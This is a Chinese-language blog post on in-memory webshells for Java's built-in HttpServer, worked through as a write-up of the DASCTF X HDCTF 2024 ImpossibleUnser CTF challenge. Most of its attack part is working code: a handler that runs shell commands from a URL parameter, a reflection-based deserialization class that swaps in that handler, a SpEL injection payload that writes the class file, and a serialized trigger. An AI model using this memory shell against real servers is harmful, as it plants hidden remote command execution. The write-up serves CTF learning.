HttpServer内存马
HttpServer内存马
基础知识
一些基础的方法和类HttpServer:HttpServer主要是通过带参的create方法来创建,第一个参数InetSocketAddress表示绑定的IP地址和端口号。第二个参数为int类型,表示允许排队的最大TCP连接数,如果该值小于或等于零,则使用系统默认值。
createContext:可以调用多次,表示将指定的url路径绑定到指定的HttpHandler处理器对象上,服务器接收到的所有路径请求都将通过调用给定的处理程序对象来处理。
setExecutor:设置服务器的线程池对象,不设置或者设为null则表示使用start方法创建的线程。
代码例子首先我们需要知道怎么使用httpserver构建一个HttpServer服务
其实不难,重点只有两部分,一个是server,一个是hander其实举个例子就能够理解了
import com.sun.net.httpserver.HttpServer; import java.io.IOException; import java.net.InetSocketAddress; import java.util.concurrent.Executors; public class HttpServerStarter { public static void main(String[] args) throws IOException { //创建一个HttpServer实例,并绑定到指定的IP地址和端口号 HttpServer httpServer = HttpServer.create(new InetSocketAddress(8000), 0); //创建一个HttpContext,将路径为/myserver请求映射到MyHttpHandler处理器 httpServer.createContext("/myserver", new MyHttpHandler()); //设置服务器的线程池对象 httpServer.setExecutor(Executors.newFixedThreadPool(10)); //启动服务器 httpServer.start(); } }然后就是我们的handler
import com.sun.net.httpserver.Headers; import com.sun.net.httpserver.HttpHandler; import com.sun.net.httpserver.HttpExchange; import java.io.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Arrays; import java.util.List; public class IndexHandler implements HttpHandler { @Override public void handle(HttpExchange exchange) throws IOException { OutputStream os = exchange.getResponseBody(); List<String> files = listFilesInDirectory("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\tomcat4\\web\\WEB-INF\\classes"); StringBuilder response = new StringBuilder(); for (String file : files) { response.append(file).append("\n"); } byte[] responseData = response.toString().getBytes(); int chunkSize = 1024; // 设置每个数据块的大小 exchange.sendResponseHeaders(200, responseData.length); int offset = 0; while (offset < responseData.length) { int bytesToWrite = Math.min(chunkSize, responseData.length - offset); os.write(responseData, offset, bytesToWrite); offset += bytesToWrite; } os.close(); } private List<String> listFilesInDirectory(String directoryPath) { File directory = new File(directoryPath); File[] files = directory.listFiles(); if (files != null) { return Arrays.asList(directory.list()); } else { return null; } } }
利用
其实看了上面的例子,我们的利用就是使用server创建一个路由和对于的handler,然后控制恶意的handler,但是问题是怎么去获取我们的server
获取server我们是根据线程去获取的
当然不止这一种 Thread.currentThread().getThreadGroup().threads 1这是获取所有的线程 然后通过[0]去获取你需要的线程,然后就是
Thread.currentThread().getThreadGroup().threads.target.this$0 1去获取到我们的context对象
然后你还可以去获取我们的handler
就是在server的contexts中,然后还是选list的其中一个,然后获取这就是我们一道DASCTF X HDCTF 2024 ImpossibleUnser的解法
构造恶意的handler当我们获取到了handler之后,我们就可以使用它的createContext方法了,给我们的路由构建一个恶意的handler
恶意的handler主要是重写它的handle方法
public void handle(HttpExchange httpExchange) throws IOException { String cmd = httpExchange.getRequestURI().getQuery().split("=")[1]; InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, StandardCharsets.UTF_8)); String line; StringBuilder stringBuilder = new StringBuilder(); while ((line = reader.readLine()) != null) { stringBuilder.append(line + "\n"); } String response = stringBuilder.toString(); httpExchange.sendResponseHeaders(200, response.length()); OutputStream os = httpExchange.getResponseBody(); os.write(response.getBytes()); os.close(); }CTF题目
DASCTF X HDCTF 2024 ImpossibleUnser官方wp
源码 package com.ctf; import java.net.InetSocketAddress; import com.sun.net.httpserver.HttpServer; public class IndexController { public static void main(String[] args) throws Exception { HttpServer server = HttpServer.create(new InetSocketAddress(8000), 0); server.createContext("/ctf", new SPELHandler()); server.createContext("/index", new IndexHandler()); server.createContext("/unser", new UnserHandler()); server.setExecutor(null); server.start(); } } 12345678910111213 package com.ctf; import com.sun.net.httpserver.Headers; import com.sun.net.httpserver.HttpHandler; import com.sun.net.httpserver.HttpExchange; import java.io.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Arrays; import java.util.List; public class IndexHandler implements HttpHandler { @Override public void handle(HttpExchange exchange) throws IOException { OutputStream os = exchange.getResponseBody(); List<String> files = listFilesInDirectory("/usr/lib/jvm/java-8-openjdk-amd64/jre"); StringBuilder response = new StringBuilder(); for (String file : files) { response.append(file).append("\n"); } byte[] responseData = response.toString().getBytes(); int chunkSize = 1024; // 设置每个数据块的大小 exchange.sendResponseHeaders(200, responseData.length); int offset = 0; while (offset < responseData.length) { int bytesToWrite = Math.min(chunkSize, responseData.length - offset); os.write(responseData, offset, bytesToWrite); offset += bytesToWrite; } os.close(); } private List<String> listFilesInDirectory(String directoryPath) { File directory = new File(directoryPath); File[] files = directory.listFiles(); if (files != null) { return Arrays.asList(directory.list()); } else { return null; } } }然后unser路由就是一个反序列化入口
然后还有一个spel表达式注入
方法三 使用内存马方式这里就直接放payload了
这里wp的思路是修改ctf路由的handler,当然我们也可以添加 import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; public class EvilMemshell implements Serializable, HttpHandler { private void readObject(ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException { try{ ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); Field threadsFeld = threadGroup.getClass().getDeclaredField("threads"); threadsFeld.setAccessible(true); Thread[] threads = (Thread[])threadsFeld.get(threadGroup); Thread thread = threads[1]; Field targetField = thread.getClass().getDeclaredField("target"); targetField.setAccessible(true); Object object = targetField.get(thread); Field this$0Field = object.getClass().getDeclaredField("this$0"); this$0Field.setAccessible(true); object = this$0Field.get(object); Field contextsField = object.getClass().getDeclaredField("contexts"); contextsField.setAccessible(true); object = contextsField.get(object); Field listField = object.getClass().getDeclaredField("list"); listField.setAccessible(true); java.util.LinkedList linkedList = (java.util.LinkedList)listField.get(object); object = linkedList.get(0); Field handlerField = object.getClass().getDeclaredField("handler"); handlerField.setAccessible(true); handlerField.set(object,this); }catch(Exception exception){ } } public static String base64serial(Object o) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String; } public static void main(String[] args) throws Exception { System.out.println(base64serial(new EvilMemshell())); } @Override public void handle(HttpExchange httpExchange) throws IOException { String query = httpExchange.getRequestURI().getQuery(); String[] split = query.split("="); String response = "SUCCESS"+"\n"; if (split[0].equals("shell")) { String cmd = split[1]; InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); byte[] bytes = new byte[1024]; ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); int flag=-1; while((flag=inputStream.read(bytes))!=-1){ byteArrayOutputStream.write(bytes,0,flag); } response += byteArrayOutputStream.toString(); byteArrayOutputStream.close(); } httpExchange.sendResponseHeaders(200,response.length()); OutputStream outputStream = httpExchange.getResponseBody(); outputStream.write(response.getBytes()); outputStream.close(); } }重写它的readobject方法,当反序列化它的时候就会处理readobejct的方法,获取到server,更改server的handler
当然我们需要配合spel先把这个恶意的文件写进去
payload=T(com.sun.org.apache.xml.internal.security.utils.JavaUtils).writeBytesToFilename("/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/EvilMemshell.class",T(java.util.Base64).getDecoder.decode("恶意代码的base64编码")) 1然后反序列化它
unser=rO0ABXNyAAxFdmlsTWVtc2hlbGwx3CJ1tyzvvgIAAHhw 1之后就可以在ctf路由进行命令执行了
Ongwu博客 版权声明:以上内容未经允许不得转载!授权事宜或对内容有异议或投诉,请联系站长,将尽快回复您,谢谢合作!